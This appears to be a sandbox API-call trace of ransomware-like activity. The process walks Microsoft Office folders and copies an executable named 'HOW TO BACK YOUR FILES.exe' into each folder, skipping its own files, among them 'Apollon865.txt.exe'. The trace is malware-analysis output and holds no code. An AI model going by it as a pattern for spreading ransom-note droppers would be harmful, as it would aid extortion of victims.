	[0072.945] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis"
	[0072.946] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.946] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.951] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.951] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x438e9170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x438e9170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.951] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.951] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.951] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime"
	[0072.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb120 | out: hHeap=0x580000) returned 1
	[0072.951] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc08 | out: hHeap=0x580000) returned 1
	[0072.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime") returned 77
	[0072.951] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime"
	[0072.951] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.951] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\lime\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.957] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Lime\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x438e9170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x438e9170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.957] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.957] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.957] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck"
	[0072.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a33e8 | out: hHeap=0x580000) returned 1
	[0072.957] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0072.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck") returned 82
	[0072.957] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck"
	[0072.957] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.957] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\graycheck\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.966] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.966] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\GrayCheck\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4390f2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4390f2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.967] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.967] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.967] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert"
	[0072.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb078 | out: hHeap=0x580000) returned 1
	[0072.967] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0072.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert") returned 79
	[0072.967] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert"
	[0072.967] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.967] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\desert\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.972] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.972] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Desert\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd5284f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4390f2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4390f2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.973] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.973] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.973] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow"
	[0072.973] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0fe0 | out: hHeap=0x580000) returned 1
	[0072.973] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0072.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow") returned 85
	[0072.973] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow"
	[0072.973] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.973] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightyellow\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightYellow\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd502390, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43935430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43935430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.983] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange"
	[0072.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0f28 | out: hHeap=0x580000) returned 1
	[0072.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0072.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange") returned 85
	[0072.983] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange"
	[0072.983] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.983] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\brightorange\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.990] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.990] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BrightOrange\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4dc230, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43935430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43935430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.990] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.990] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.990] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay"
	[0072.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0072.990] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0072.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay") returned 79
	[0072.990] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay"
	[0072.990] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.990] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\biscay\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0072.996] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0072.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Biscay\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x43935430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x43935430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0072.996] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0072.996] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0072.996] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue"
	[0072.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3338 | out: hHeap=0x580000) returned 1
	[0072.996] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0072.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue") returned 81
	[0072.996] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue"
	[0072.996] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0072.996] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.002] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd48ff70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4395b590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4395b590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.002] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.002] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.002] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana"
	[0073.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0073.002] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0073.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana") returned 82
	[0073.002] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana"
	[0073.002] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.002] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\americana\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.008] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Americana\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd4b60d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x4395b590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4395b590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.008] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.008] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.008] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices"
	[0073.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0073.008] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x580000) returned 1
	[0073.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned 60
	[0073.008] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices"
	[0073.008] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.008] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.014] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0073.014] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x439816f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x439816f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0073.014] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.014] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0073.015] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography"
	[0073.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.015] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0073.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned 60
	[0073.015] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography"
	[0073.015] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0073.015] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0073.020] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
